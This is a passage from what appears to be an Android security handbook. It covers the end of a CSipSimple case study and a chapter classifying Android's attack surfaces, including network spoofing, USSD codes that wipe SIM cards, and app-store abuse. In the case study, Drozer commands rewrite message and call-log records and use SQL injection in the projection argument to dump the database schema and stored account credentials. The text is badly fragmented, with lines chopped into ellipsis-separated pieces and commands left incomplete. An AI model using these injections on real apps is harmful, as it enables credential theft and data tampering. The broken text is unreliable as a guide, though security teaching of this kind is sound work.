exported by CSipSimple, along with their respective permission requirements
...
provider
...
csipsimple as the arguments to limit the scan to just the target app:
dz> run app
...
info -a com
...
csipsimple
Authority: com
...
prefs
Read Permission: android
...
CONFIGURE_SIP
Write Permission: android
...
CONFIGURE_SIP
Multiprocess Allowed: False
Grant Uri Permissions: False
Authority: com
...
db
Read Permission: android
...
CONFIGURE_SIP
Write Permission: android
...
CONFIGURE_SIP
Multiprocess Allowed: False
Grant Uri Permissions: False

To even interact with these providers, the android
...
CONFIGURE_SIP
permission must be held
...
Check CSipSimple’s
manifest to find the permission declaration
...
package
...
This returns the entire manifest,
so the following output has been trimmed to show only the pertinent lines:
dz> run app
...
manifest com
...

protectionLevel="0x1" permissionGroup="android
...
COST_MONEY"
description="@2131427349">


...
However,

c04
...
The Drozer agent does not have this by default, but
that’s easily rectified by modifying the manifest and rebuilding the agent APK
...
You start by discovering the content
URIs exposed by CSipSimple
...
provider
...
provider
...
csipsimple
Scanning com
...

content://com
...
prefs/raz
content://com
...
db/
content://com
...
db/calllogs
content://com
...
db/outgoing_filters
content://com
...
db/accounts/
content://com
...
db/accounts_status/
content://com
...
contacts/contacts

...
Query these providers, starting with messages , using the
app
...
query module, with the content URI as the argument
...
provider
...
csipsimple
...
co | sip:bob@ostel
...
co> |

This returns the column names and rows of data stored, in this case, in a SQLite
database backing this provider
...
These data correspond to the message activity/screen shown in Figure 4-8
...
provider
...
You pass in the content URI; the selection and
selection-args, which specifies the query constraints; the columns you want to
replace; and the replacement data
...
provider
...
csipsimple
...
co"
--string contact "sip:badguy@ostel
...
co>"
Done
...
indd

01:15:7:PM 02/24/2014

Page 122

Chapter 4 ■ Reviewing Application Security

You changed the receiver from bob@ostel
...
co, and the
message from Hello! to omg crimes
...


Figure 4-8: CSipSimple message log screen

Figure 4-9: CSipSimple modified message
log screen

You also saw the calllogs provider, which you can also query:
dz> run app
...
query content://com
...
db/calllogs
| _id | name | numberlabel | numbertype | date
| duration
new | number
| type | account_id | status_code |
text
| 5
| null | null
| 0
| 1372294364590 | 286
| "Bob" ...
co>
| 2
| 1
| 200
| Normal call clearing |

...


c04
...
co:
dz> run app
...
update content://com
...
db/calllogs
--selection "number=?" --selection-args " ...
co>"
Done
...


Figure 4-10: CSipSimple call log screen

Figure 4-11: CSipSimple modified call log
screen

Injection
Content Providers with inadequate input validation or whose queries are built
improperly, such as through unfiltered concatenation of user input, can be vulnerable to injection
...
Drozer provides modules for discovering these issues, such as the
scanner
...
traversal and scanner
...
injection modules
...
provider
...
provider
...
csipsimple
Scanning com
...


c04
...
csipsimple
...
csipsimple
...
csipsimple
...

content://com
...
db/accounts_status/
Injection in Projection:
content://com
...
db/calllogs
content://com
...
db/outgoing_filters
content://com
...
db/accounts/
content://com
...
db/accounts

...
csipsimple
...
csipsimple
...
csipsimple
...


In the event that the same SQLite database backs multiple providers, much
like traditional SQL injection in web applications, you can retrieve the contents
of other tables
...
provider
...
This
time, add a projection argument, which specifies the columns to select, though
you’ll pull the SQLite schema with * FROM SQLITE_MASTER--
...
provider
...
csipsimple
...
indd

01:15:7:PM 02/24/2014

Page 125

125

126

Chapter 4 ■ Reviewing Application Security
1,rtp_bound_addr TEXT,rtp_p
ublic_addr TEXT,android_group TEXT,allow_via_rewrite INTEGER DEFAULT 0,
sip_stun_use INTEGER DEFAULT -1,media_stun_use INTEGER DEFAULT -1,ice_cfg_use
INTEGER DEFAULT
-1,ice_cfg_enable INTEGER DEFAULT 0,turn_cfg_use INTEGER DEFAULT -1,
turn_cfg_enable INTEGER DEFAULT 0,turn_cfg_server TEXT,turn_cfg_user
TEXT,turn_cfg_pwd TEXT,ipv6_
media_use INTEGER DEFAULT 0,wizard_data TEXT) |
| table | sqlite_sequence | sqlite_sequence | 5
| CREATE TABLE
sqlite_sequence(name,seq)

You see that there’s a table called accounts, which presumably contains
account data, including credentials
...
You’ll use * FROM accounts-- in your query this time:
dz> run app
...
query content://com
...
db/calllogs
--projection "* FROM accounts--"
| id | active | wizard | display_name | priority | acc_id
| reg_uri
| mwi_enabled | publish_enabled | reg_timeout | ka_interval |
pidf_tuple_id | force_contact | allow_contact_rewrite
| contact_rewrite_method | contact_params | contact_uri_params | transport
| default_uri_scheme | use_srtp | use_zrtp
| proxy
| reg_use_proxy | realm | scheme | username | datatype
| data
| initial_auth | auth_algo | sip_stack |

...
co> | sip:ostel
...
co:5061 | 3
|
*
| Digest | THISISMYUSERNAME
| 0
| THISISMYPASSWORD | 0
| null
| 0
| *98
| -1
| 1
| 1
|

...
The CONFIGURE_SIP permission was moved to a more explicit
namespace (rather than android
...
Also, the SQL injection vulnerabilities in the Content
Providers were fixed, further limiting access to sensitive information
...
For each issue, the chapter presented a public example to help
highlight the potential impact
...
indd

01:15:7:PM 02/24/2014

Page 126

Chapter 4 ■ Reviewing Application Security

publicly available Android apps
...

The first case study used Androguard to perform static analysis, disassembly, and decompilation of the target application
...
In particular, you found a
device lock/unlock feature that used SMS messages for authorization
...
Finally, you worked through some
proof-of-concept code to forge an SMS message and exploit the application’s
device unlock feature
...
First, you discovered
that user activity and sensitive message logs were exposed from the app
...
Finally, the case study
discussed going a step further and exploiting a SQL injection vulnerability to
retrieve other sensitive data in the provider’s database
...


c04
...
This is as true for Android devices as it is for any other
computer system
...
The first
step in the audit process is enumerating the attack surface
...

In this chapter, you will go from nearly zero knowledge of attack concepts
to being able to see exactly where many of Android’s attack surfaces lie
...
Next,
it discusses the properties and ideologies used to classify each attack surface
according to impact
...
You will learn about the
many ways that Android devices can be attacked, in some cases evidenced by
known attacks
...


129

c05
...
On a computer network, it
is possible for users to initiate actions that can subvert the security of computer
systems other than their own
...
Usually the attacker aims
to influence the confidentiality, integrity, or accessibility (CIA) of the target
system
...
The two most common topics when discussing attacks are attack
vectors and attack surfaces
...

N O T E The Common Vulnerability Scoring System (CVSS) is a widely accepted standard for classifying and ranking vulnerability intelligence
...


Attack Vectors
An attack vector generally refers to the means by which an attacker makes his
move
...
Simply put, it describes
how you reach any given vulnerable code
...
These criteria are often used to prioritize how to respond
to publicly disclosed vulnerabilities or ongoing attacks
...
It’s an action that
typically doesn’t require authentication, but successful exploitation may require
the recipient to do something, such as read the message
...
In this case, authentication may
or may not be required
...

N O T E MITRE’s Common Attack Pattern Enumeration and Classification (CAPEC)
project aims to enumerate and classify attacks into patterns
...


Attack vectors are often further classified based on properties of common
attacks
...
indd

01:17:1:PM 02/24/2014

Page 130

Chapter 5 ■ Understanding Android’s Attack Surface

specific attack vector than just sending electronic mail
...
Another, more specific attack vector based
on electronic mail is one where an attacker includes a clickable uniform resource
locator (URL) inside the message
...
This action might lead to
a successful attack of the target’s computer
...
Such a library may have many functions that lead to execution
of the vulnerable function
...
Likewise, a subset of the application programming interface (API)
exposed by the library may trigger execution of the vulnerable function
...
Finally, any program
that leverages the vulnerable library could also be considered a vector
...


Attack Surfaces
An attack surface is generally understood as a target’s open flanks—that is to say,
the characteristics of a target that makes it vulnerable to attack
...

In the physical world, an attack surface is the area of an object that is exposed
to attack and thus should be defended
...
Tanks have
strategically applied armor
...
All of these are examples of defended attack surfaces in the physical
world
...

More technically speaking, an attack surface refers to the code that an attacker
can execute and therefore attack
...

Simply put, it describes where in code vulnerabilities might be waiting to be
discovered
...
In a browser-based attack, all the web-related technologies supported by the browser constitute attack surfaces
...

Remember, though, by definition, no vulnerabilities need be present for an attack
surface to exist
...

Similar to attack vectors, attack surfaces can be discussed both in general and
in increasingly specific terms
...
indd

01:17:1:PM 02/24/2014

Page 131

131

132

Chapter 5 ■ Understanding Android’s Attack Surface

depends on context
...
In contrast, when discussing the attack surface of a particular program they might
point out a specific function or API
...
Studying one
particular attack surface often reveals additional attack surfaces, such as those
exposed through multiplexed command processing
...
Sending a packet of one
type would reach one attack surface whereas sending a packet of another type
would reach a different one
...
As data traverses from one
layer to the next, it passes through many different attack surfaces
...

Web Server
Ports

Web Server

CGI

PHP
Interpreter

PHP
Application
Code

Figure 5-1: Attack surfaces involved in a PHP web app

In Figure 5-1, the outermost attack surface of the system in question consists
of the two web server ports
...
Choosing to target a PHP web
application, application code and the PHP interpreter both handle untrusted
data
...

On a final note, a given attack surface might be reachable by a number of attack
vectors
...
This is especially relevant when vulnerabilities are patched
...


c05
...
Many Android devices aim to interface with anything and everything
...
Because the attack surface of an
Android device is so vast, dissection and classification is necessary
...
Table 5-1 depicts several key properties
and the reasoning behind their importance
...
Attacks that
require the target user to do something extraordinary are less severe
and may require social engineering to succeed
...


Privileges Gained

The code behind a given attack surface might execute with extremely
high privileges (such as in kernel-space), or it might execute inside a
sandbox with reduced privileges
...


Complexity

Complex code, algorithms, and protocols are difficult to manage and
increase the probability of a programmer making a mistake
...
By focusing on particularly risky attack
surfaces (low requirements, high privileges, non-memory-safe, high complexity,
and so on), a system can be attacked or secured more quickly
...
Thus, especially risky attack surfaces are a logical place to focus
...
indd

01:17:1:PM 02/24/2014

Page 133

133

134

Chapter 5 ■ Understanding Android’s Attack Surface

Classification Decisions
Because Android devices have such a large and complex set of attack surfaces,
it is necessary to break them down into groups based on common properties
...
Like an attacker would,
it starts with the most dangerous, and thus the most attractive, attack surfaces
...
For each attack surface, we provide background information,
such as the intended functionality
...
Finally, we discuss known attacks and attack vectors that
exercise vulnerabilities in that attack surface
...
This name, which is also an
attack vector classification, comes from the fact that the attacker need not be
physically located near her victim
...
Attacks against these types of attack surfaces
can be particularly devastating because they allow an unknown attacker to
compromise the device
...
Some remote attack surfaces are always reachable whereas
others are reachable only when the victim initiates network communications
...
Issues that require minor interaction,
such as clicking a link, can also be used to propagate worms, but the worms
would propagate less quickly
...
Further, some attack surfaces only deal with data that has already been
processed by an intermediary, such as a mobile carrier or Google
...
The following subsections discuss in more detail the various types of remote attack
surfaces exposed by Android devices
...
indd

01:17:1:PM 02/24/2014

Page 134

Chapter 5 ■ Understanding Android’s Attack Surface

networks
...
Typical network configurations put constraints on exactly what
types of attacks can be carried out, thereby limiting the exposed attack surface
...


The Internet
The Internet, founded by the United States Defense Advanced Research Projects
Agency (DARPA), is an interconnected network of computer systems
...
Between
these nodes sit a large number of back-end systems called routers
...
The computers between the endpoints, each referred to as a hop, make
up what is called a network path
...
As a
user travels, the tower her device talks to changes as well
...


OSI Model
The OSI model describes seven distinct layers involved in network communications
...

Layer 7: Application
Layer 6: Presentation
Layer 5: Session
Layer 4: Transport
Layer 3: Network
Layer 2: Data Link
Layer 1: Physical

Figure 5-2: OSI seven-layer model



Layer 1—The physical layer describes how two computers communicate
data to one another
...
Portions
of Ethernet and Wi-Fi operate in this layer
...
indd

01:17:1:PM 02/24/2014

Page 135

135

136

Chapter 5 ■ Understanding Android’s Attack Surface


Layer 2—The data link layer adds error-correction capabilities to data
transmissions traversing the physical layer
...




Layer 3—The network layer is the layer where Internet Protocol (IP),
Internet Control Message Protocol (ICMP), and Internet Gateway Message
Protocol (IGMP) operate
...




Layer 4—The transport layer aims to add reliability to data transmissions
traversing the lower layers
...




Layer 5—The session layer manages, as its name suggests, sessions between
hosts on a network
...




Layer 6—The presentation layer deals with hosts syntactically agreeing
upon how they will represent their data
...




Layer 7—The application layer is where data is generated and consumed
directly by the client and server applications of high-level protocols
...


Modern network communications have extended beyond the seven-layer
OSI model
...
In Android, Protocol Buffers (protobufs) are
used to transmit structured data and implement Remote Procedure Call (RPC)
protocols
...
The lines between the
layers are blurry
...
Android devices support and utilize all of the protocols mentioned here in one way, shape, or form
...


Network Configurations and Defenses
Today’s Internet ecosystem is much different than it was in 1980s
...
Hosts could freely connect to each other and users

c05
...
In the late ‘80s and early ‘90s, network
administrators started noticing malicious users intruding into computer systems
...
Since then, host-based
firewalls that protect a single machine from its network are sometimes used, too
...
In 2013, the number of assignable IPv4 address
blocks dwindled to an all-time low
...
For these
reasons, NAT is commonplace in both home and cellular networks
...
In short, the NAT router acts as
a transparent proxy between the wide area network (WAN) and the hosts on
the local area network (LAN)
...
Without such a configuration, NAT routers act as a sort of firewall
...

Although they are both accessed wirelessly, mobile carrier networks differ
from Wi-Fi networks in how they are provisioned, configured, and controlled
...
Carriers often meter
data usage, charging an amount per megabyte or gigabyte used
...
For example, it is possible to disable interclient connections
through the APN
...
All of these things considered, carrier networks limit the exposed attack
surface even further than home networks
...
A less security-conscious carrier might expose
all of its customers’ mobile devices directly to the Internet
...
For the purposes of this chapter, there are two relevant relationships
...
We call this relationship network adjacent or logically adjacent
...
An attacker can establish this type of
relationship by directly accessing the LAN, compromising other hosts on it, or
by traversing a Virtual Private Network (VPN)
...
An attacker could establish
this position by subverting network routing or compromising a router or proxy
traversed by the victim
...
That
is, they sit on the network path between a victim and the other remote nodes
they communicate with
...
indd

01:17:1:PM 02/24/2014

Page 137

137

138

Chapter 5 ■ Understanding Android’s Attack Surface

types of attacks that are not possible otherwise
...

Network Adjacency

Being a neighbor on the same LAN as a target gives an attacker a privileged
vantage point from which to conduct attacks
...
First and foremost, computers on a LAN are not behind any NAT and/or perimeter firewall
...
Packets are not routed using
IP
...
Little to no protocol validation is done on host-to-host traffic
...
Although this is a powerful ability by itself, combining it with
other tricks enables even more powerful attacks
...
In a spoofing attack, the attacker forges the source
address of his packets in an attempt to masquerade as another host
...
These types of attacks are difficult to conduct on the open Internet due
to anti-spoofing packet filter rules and inherent latency
...

One spoofing attack, called ARP spoofing or ARP cache poisoning, is carried
out at layer 2
...
This effectively pivots the attacker from being a
neighbor to being an on-path device
...
The most effective defense against ARP
spoofing attacks involves using static ARP tables, something that is impossible
on unrooted mobile devices
...
Spoofing attacks against DHCP are
also quite effective for gaining more control over a target system
...
By achieving such a trusted position in the network,
the attacker can choose to block, alter, or forward any traffic that flows through
it
...

From such a trusted vantage point, an attacker could potentially affect a large
number of users at once or selectively target a single user
...


c05
...
Many software
clients are very trusting of servers
...
Being on-path means the attacker can pretend to
be any server to which the target user connects
...
cnn
...
An
on-path attacker could pretend to be CNN, deliver an exploit, and present the
original CNN site content so that the victim is none the wiser
...

Thankfully, achieving such a privileged role on the Internet is a rather difficult
proposition for most attackers
...

Another method, which seems less difficult than the rest in practice, is hijacking DNS via registrars
...
On these networks, it is also possible
to leverage physical proximity to manipulate radio communications or host a
rogue access point or base station to which their target connects
...

Understanding these concepts is essential for knowing if a given attack surface
is or is not reachable
...
In this attack
scenario, an attacker typically only needs the ability to contact the target host
over the Internet
...
Widespread adoption of firewalls and NAT makes this attack surface much more difficult to
reach
...

On Android, the main attack surface that fits this description is the networking
stack within the Linux kernel
...
Its purpose is to maintain network state for the operating
system, which it exposes to user-space software via the socket API
...
Successfully
exploiting such an issue would yield remote arbitrary code execution in kernelspace
...


c05
...
For example, protocol-level attacks like TCP sequence
number prediction are attributed to this attack surface
...
On a live device, the /proc/net directory can be particularly enlightening
...
The
following excerpt shows the contents on a Galaxy Nexus running Android 4
...

shell@maguro:/ $ cat /proc/net/ptype
Type Device
Function
0800
ip_rcv+0x0/0x430
0011
llc_rcv+0x0/0x314
0004
llc_rcv+0x0/0x314
00f5
phonet_rcv+0x0/0x524
0806
arp_rcv+0x0/0x144
86dd
ipv6_rcv+0x0/0x600
shell@maguro:/ $

From this output, you can see that this device’s kernel supports IPv4, IPv6,
two types of LLC, PhoNet, and ARP
...
Instructions for obtaining the kernel build
configuration is provided in Chapter 10
...
Such services usually execute in userspace, eliminating the possibility for kernel-space code execution
...
Regardless, exploiting issues
exposed by this attack service allows an attacker to gain a foothold on a device
...

Unfortunately though, most Android devices do not include any network
services by default
...
For example, in Chapter 10 we explain how to enable
Android Debug Bridge (ADB) access via TCP/IP
...
Android apps are another way that network
services could be exposed
...
Examples include
those that provide additional access to the device using the Virtual Network
Computing (VNC), Remote Desktop (RDP), Secure Shell (SSH), or other protocols
...
indd

01:17:1:PM 02/24/2014

Page 140

Chapter 5 ■ Understanding Android’s Attack Surface

Enumerating this attack surface can be done in two ways
...
Using this method simultaneously tests device and
network configuration
...
Second, they can list the listening ports of a
test device using shell access
...
The output shows that something is
listening on port 1122
...

Additional network services also appear when the Portable Wi-Fi hotspot
feature is enabled
...
0
...
1:53
tcp
0
0 192
...
43
...
0
...
1:53
udp
0
0 192
...
43
...
0
...
0:67
shell@maguro:/ $

Foreign Address
0
...
0
...
0
...
0:*
0
...
0
...
0
...
0:*
0
...
0
...
Hosting a hotspot
significantly increases the attack surface of an Android device
...

N O T E Retail devices often contain additional functionality that exposes more network services
...


As stated previously, network services are often unreachable due to the use
of firewalls and NAT
...
Further, there
are known public methods for circumventing the firewall-like protections that
NAT provides by using protocols like UPnP and NAT-PMP
...


c05
...
Mobile devices expose an additional remote attack
surface through cellular communications
...
These types of messages are sent from peer to peer, using the carriers’ cellular networks as transit
...

Several additional attack surfaces can be reached by using SMS and MMS
messages as an attack vector
...
Also, other protocols are implemented on top of SMS
...
WAP supports push
messaging in addition to quite a few other protocols
...
One type of request implemented as
a WAP Push message is the Service Loading (SL) request
...
This effectively serves as an attack vector that turns a clientside attack surface into a remote one
...
Specifically, he used
SL messages to invoke Unstructured Supplementary Service Data (USSD) facilities
...
When the device received such an
SL message, it opened the default browser without user interaction
...
These
URLs then caused the USSD code to be entered into the phone dialer automatically
...
Some devices (correctly) required the user to press the Send
button after
...
The first code was
able to destroy a user’s SIM card by repeatedly attempting to change its Personal
Unblocking Key (PUK)
...
The other code used was one that
caused an immediate factory reset of the handset
...
This serves as an especially impactful example of what is
possible through SMS and protocols stacked on top of it
...


c05
...
Also, many client applications
are very trusting of servers they communicate with
...
Information security professionals call this the
client-side attack surface
...
However, some attack techniques can lift this
restriction
...
One example is a watering
hole attack, which targets the users of a previously compromised popular site
...
Attacks that use electronic
mail vectors, for example, can be sent specifically to a target or group of targets
...
This is a powerful property of attacking
the client-side attack surface
...
Therefore,
they expose very little direct remote attack surface
...
In fact, many client
applications on Android initiate actions on the user’s behalf automatically
...
When new items are found, they are processed in
order to notify the user that they are ready for viewing
...
The remainder of this section discusses the various attack surfaces
exposed by client applications on Android in more detail
...
It supports a plethora of web technologies as well as acts as a gateway
to other technologies that an Android device supports
...
In addition to rendering
and executing application logic, browsers often support a range of underlying
protocols such as HTTP and FTP
...
Each of these components, which are often embodied by third-party projects, represents an attack

c05
...
The rest of this section introduces the attack vectors
and types of vulnerabilities to which browsers are susceptible and discusses
the attack surface within the browser engines commonly available on Android
devices
...

The most common method involves persuading a user to visit a URL that is
under the attacker’s control
...
An attacker can easily deliver a URL via e-mail, social media,
instant messaging, or other means
...
This type of attack is
called a “watering hole” or “drive-by” attack
...
These types of attacks are often called Man-in-the-Middle (MitM) attacks
...

Securely processing content from multiple untrusted sources within a single
application is challenging
...
This control
mechanism has given rise to several entirely new types of vulnerabilities, such
as cross-site scripting (XSS) and cross-site request forgery (CSRF or XSRF)
...
This
situation has given birth to cross-zone attacks as well
...
However, zone elevation attacks discovered in the
past have allowed just that
...
An exhaustive discussion of such issues
is far beyond the scope of this section
...

Up until Android 4
...
With the release of the 2012 Nexus 7 and the Nexus
4, Google started shipping Chrome for Android (based on Chromium) as the
default browser
...
In
current versions of vanilla Android, Chrome is the only browser presented to
the user
...
In Android 4
...
so) to using an engine based on Chromium (libwebviewchromium
...

The primary difference between Chrome for Android and the two other
engines is that the Chrome for Android receives updates via Google Play
...
indd

01:17:1:PM 02/24/2014

Page 144

Chapter 5 ■ Understanding Android’s Attack Surface

Android Framework, are baked into the firmware and cannot be updated without a firmware upgrade
...
This
is the “half-day vulnerability” risk first mentioned in Chapter 1
...
Each engine supports a slightly different set of features and thus
exposes a slightly different attack surface
...
An excellent starting
point is investigating the functionality specified by standards documents
...
Sites that track which features are implemented in each
browser engine are priceless in this process
...
Diving down the browser attack surface
rabbit hole by digging into the code is also possible
...

Unfortunately, enumerating these second-tier attack surfaces is largely a manual
process
...
For example, some attack surfaces can be exercised
when JavaScript is disabled whereas others cannot
...
Another great example is Document Object Model (DOM) manipulation
through JavaScript
...
All in all, the complexity
that browsers bring leaves a lot of room for imagination when exploring the
attack surfaces within
...


Web-Powered Mobile Apps
The vast majority of applications written for mobile devices are merely clients
for web-based back-end technologies
...
These days, with the proliferation of standardized protocols, libraries,
and middleware, virtually everything uses web-based technologies like web
services, XML RPC, and so on
...

Mobile developers often trust that the other side of the system is well behaved
...


c05
...
There are ways to increase the
true level of trust between the client and the server, particularly to combat onpath or logically adjacent attackers
...
Further, the client should never assume that the
server it is talking to is a legitimate one
...

Most of this authentication takes place through the use of SSL or TLS
...
Because it is entirely up to the mobile application developers to properly utilize these technologies, many applications are insufficiently
protected
...
” The paper documented the researchers’
findings on the state of SSL verification in Android apps
...

Of course, the attack surface exposed by a web-powered mobile app varies from
one application to the next
...
Twitter is a web-based social media platform, but many clients
exist in the form of Android apps
...
For example, most Twitter clients render images inline
automatically
...
A vulnerability in
the underlying image-parsing library could potentially compromise a device
...

Curious users who follow the links could be susceptible to traditional browser
attacks
...
This design paradigm turns a client-side application into something
that could be remotely attacked without any user interaction
...

In these apps, a developer includes additional code libraries and invokes them
to display ads as they deem necessary
...
This can be quite lucrative for apps that are extremely
popular (for example, Angry Birds) so it is no surprise that app developers take
this route
...
indd

01:17:1:PM 02/24/2014

Page 146

Chapter 5 ■ Understanding Android’s Attack Surface

Advertising networks represent an interesting and potentially dangerous piece
of the puzzle for several reasons
...
As such, traditional
browser attacks apply against these apps but typically only via the MitM vectors
...
Ad
network frameworks are especially terrifying because legitimate advertisers
could also potentially take control of devices using these weaknesses
...

In addition to the risk of remote code execution, advertising frameworks also
present a significant risk to privacy
...
This type of software is commonly referred to as adware and can become
a terrible nuisance to the end user
...
Although
this is not as serious as fully compromising an Android device, it should not be
taken lightly
...


Media and Document Processing
Android includes many extremely popular and well vetted open source libraries, many of which are used to process rich media content
...
Android is no exception
...
As discussed previously, in the “Web-Powered Mobile Apps” section,
Twitter clients often render images automatically
...
These libraries are well vetted, but that does not mean no issues
remain
...

Additionally, some OEM Android devices ship with document viewing and
editing tools
...
The attack vector used in the competition was Near
Field Communication (NFC), which is discussed in the “NFC” section later in
this chapter
...
indd

01:17:1:PM 02/24/2014

Page 147

147

148

Chapter 5 ■ Understanding Android’s Attack Surface

Electronic Mail
An electronic mail client is yet another client-side application that has an exposed
attack surface
...
In fact, Android e-mail
clients are often based on a browser engine with a somewhat limited configuration
...
That said, modern e-mail clients render a subset of rich media, such
as markup and images, inline
...
Such attachments could, for example, be used to exploit applications like Polaris Office
...


Google Infrastructure
Android devices, though powerful, rely on cloud-based services for much of
their functionality
...
The functionality provided by these services ranges
from contact and e-mail data used by the phone dialer and Gmail to sophisticated remote management features
...
Many of these services are authenticated by Google’s Single Sign On
(SSO) system
...
This section
discusses several relevant back-end infrastructure components and how they
can be used to remotely compromise an Android device
...
It allows users to purchase music, movies, TV shows, books, magazines,
apps, and even Android-based devices themselves
...
In early 2011, Google
opened a website to access Google Play
...
The privileged
and trusted role that Google Play serves makes it an interesting infrastructure
component to consider when thinking about attacking Android devices
...
indd

01:17:1:PM 02/24/2014

Page 148

Chapter 5 ■ Understanding Android’s Attack Surface

Google Play has been used in several attacks, which are covered more in the
following sections
...
Perhaps the best example is
an Android app
...
Therefore, installing an application is equivalent
to granting arbitrary code execution (albeit within Android’s user-level sandbox)
to the app’s developer
...
If a user incorrectly assesses
trust, installing a malicious app could fully compromise her device
...
The malicious application would then be automatically installed on any device where the
current, safe version of the app is already installed
...

Other content made available through Google Play might also be able to
compromise a device, but it’s not entirely clear where this content originates
...

Apart from the Google Play web application itself, which is outside the scope
of this chapter, the Google Play application on an Android device exposes an
attack surface
...
For example, the description of the application is one such
source of untrusted data
...


Third-Party App Ecosystems
Google allows Android users to install applications outside of Google Play
...
However, users
must explicitly authorize application installs from third parties by using the
workflow shown in Figure 5-3
...
indd

01:17:1:PM 02/24/2014

Page 149

149

150

Chapter 5 ■ Understanding Android’s Attack Surface

Figure 5-3: Authorize unknown apps workflow

The ability to install third-party applications on Android devices has naturally led to the creation of third-party application ecosystems, which come with
their own set of dangers
...
Malicious actors will decompile code for a popular trusted app
and modify it to do something malicious before posting it to the third-party
app market
...

The report also provides some insights into the popularity (or pervasiveness) of
these sites, mentioning downloads of more than 500,000 for some of the more
popular paid Android apps
...
2, Google introduced a feature called Verify Apps
...
It extracts heuristic data
from applications and uses it to query a Google-run database that determines
if the application is known malware or has potentially malicious attributes
...
Verify Apps can issue warnings to the user
or block installation entirely based on the classification of attributes from the
application
...


c05
...
Troj
...

This included some popular games such as Temple Run and Fishing Joy
...
This dwarfed the previously discovered Rootstrap Android botnet that infected more than 100,000
Android devices in China
...
In
fact, whenever possible, make sure that the Allow Installations from Unknown
Sources setting is disabled
...
This system runs the applications
that developers upload inside a virtual environment to determine whether
the app exhibits malicious behavior
...
Bouncer is essentially an emulator based on

c05
...
To properly simulate the environment
of a real mobile device, Bouncer emulates the common runtime environment
for an application, which means the app can access


Address books



Photo albums



SMS messages



Files

All of these are populated with dummy data unique to Bouncer’s emulated
virtual machine disk image
...
Furthermore,
it allows the application to freely contact the Internet
...
Miller and Oberheide
also demonstrated a number of ways that Bouncer can be fingerprinted by a
malicious application
...
These identification techniques could then
be used by a malicious attacker to avoid executing the malicious functionality
of their application while Bouncer was watching
...

Nicholas Percoco published similar research in his Blackhat 2012 white paper
“Adventures in Bouncerland,” but instead of detecting Bouncer’s presence, his
techniques involved developing an application with functionality that justified permissions for the download and execution of malicious JavaScript
...

With permissions to access the web and download JavaScript, the backend web
server ostensibly became a command and control server that fed the application
malicious code at runtime
...

Even excluding these very interesting techniques for evading Bouncer, malicious applications still manage to surface on Google Play
...
Because
devices can be configured to allow installing apps from third parties, the majority of malicious applications are found there
...
It is implemented using Google’s ProtoBufs

c05
...
For
example, Google Play and Gmail use this service to access data in the cloud
...
2
...
GCM continues to use GTalkService for cloud
communications
...


Figure 5-5: Installing an application from the web

Apart from user-initiated installation, one of those most interesting properties of GTalkService is that it allows Google to install and remove applications
at its own will
...
In the past, Google used this mechanism as an emergency mechanism to
remove confirmed malicious applications from the entire device pool at once
...
In 2013,
Google launched an initiative to provide APIs to older devices called Google
Play Services
...

Although GTalkService represents an interesting attack surface, vectors into
it require trusted access
...
This limits attacks to those that come from within
Google’s own back end
...

Unfortunately, diving deeper into the attack surface exposed by GTalkService
requires significant reverse-engineering effort
...
indd

01:17:1:PM 02/24/2014

Page 153

153

154

Chapter 5 ■ Understanding Android’s Attack Surface

this part of Android devices are closed source and aren’t part of Android
Open Source Project (AOSP)
...
A good starting point is to
reverseengineer the Google Play application or the GTalkService itself
...
The first, at SummerCon 2010, showed that it was possible to access the authentication token used to maintain the persistent back-end
connection via the com
...
AccountManager API
...
More information on this attack is available at https://
jon
...
org/blog/2011/05/28/when-angry-birds-attack-androidedition/
...
oberheide

...

This time, however, it was not necessary to install a malicious application
...

Oberheide’s findings are high-impact and fairly straightforward
...


Physical Adjacency
Recall the working definition of physical adjacency from the “Adjacency” section
earlier in this chapter
...
Much of this attack surface involves various
types of radio frequency (RF) communications
...
This section covers wireless supported communications
channels in depth and discusses other attack surfaces that are reachable within
certain proximities
...
Almost all devices support Wi-Fi and Bluetooth
...
Devices able to make cellular
telephone calls support one or more of the standard cell technologies, such as
Global System for Mobile communications (GSM) and Code Division Multiple
Access (CDMA)
...
Each of the supported wireless technologies has specific frequencies
associated with them and thus is only reachable within certain physical proximities
...
indd

01:17:1:PM 02/24/2014

Page 154

Chapter 5 ■ Understanding Android’s Attack Surface

the associated access requirements
...

All wireless communications are susceptible to a wide range of attacks, both
active and passive
...
Because Wi-Fi and cellular networking are used to access the Internet at
large, MitM attacks against these mediums provide access to an extremely rich
attack surface
...
Stolen information is powerful
...


GPS
GPS, which is often referred to as location data in Android, allows a device to
determine where it is on the planet
...
The GPS receiver chip receives these signals, amplifies them,
and determines its location based on the result
...
In fact, devices designed
specifically for navigation are often called GPS devices
...

However, having GPS so widely available is not without controversy
...
location API)
and Google Play Services (Location Services API)
...
Some of the authors of such apps are believed to sell
access to the data to unknown third parties
...

Under the hood, the hardware and software that implements GPS varies from
one device to the next
...
The software that supports the hardware varies accordingly and is usually closed source and proprietary
...
Like any other communications mechanism, software that deals with
the radio itself represents a direct attack surface
...

Because GPS signals emanate from outer space, an attacker could theoretically
be very far away from his target device
...
Because Android devices
don’t use GPS for security, such as authentication, the possibilities are limited
...
These

c05
...


Baseband
The single part of a smartphone that sets it apart from other devices the most
is the ability to communicate with mobile networks
...
This component, often called
the baseband processor, might be a separate chip or might be part of the SoC
...
It is one of
the software components that comprise the Android telephony stack
...
As
such it represents an attractive attack surface in a smartphone
...
In typical deployments, the cell modem
can be several miles away from the cell tower
...

Because of this fact, an attacker only needs to be close enough to the victim to
appear to be the strongest signal
...
This type of attack is called a Rogue Base Station attack and has garnered
quite a bit of interest in recent years
...
Each of these
are made up of a collection of protocols used to communicate between various components within a cellular network
...
Each protocol
represents an attack vector and the underlying code that processes it represents
an attack surface
...
Because baseband firmware is typically closed source,
proprietary, and specific to the baseband processor in use, reverse-engineering
and auditing this code is challenging
...
However, the
availability of small, portable base stations like Femtocells and Picopops could
make this task easier
...
The Open Source Mobile Communications (Osmocom) project, as well as

c05
...

In Android, the Radio Interface Layer (RIL) communicates with the baseband
and exposes cellular functionality to rest of the device
...


Bluetooth
The Bluetooth wireless technology widely available on Android devices supports
quite a bit of functionality and exposes a rich attack surface
...
Although most Bluetooth communications are
limited to around 32 feet, the use of antennae and more powerful transmitters
can expand the range up to 328 feet
...

Most mobile device users are familiar with Bluetooth due to the popularity of
Bluetooth headsets
...
For example, most Bluetooth headsets use the Hands-Free Profile (HFP)
and/or Headset Profile (HSP)
...
Other commonly used profiles
include File Transfer Profile (FTP), Dial-up Networking Profile (DUN), Human
Interface Device (HID) Profile, and Audio/Video Remote Control Profile (AVRCP)
...

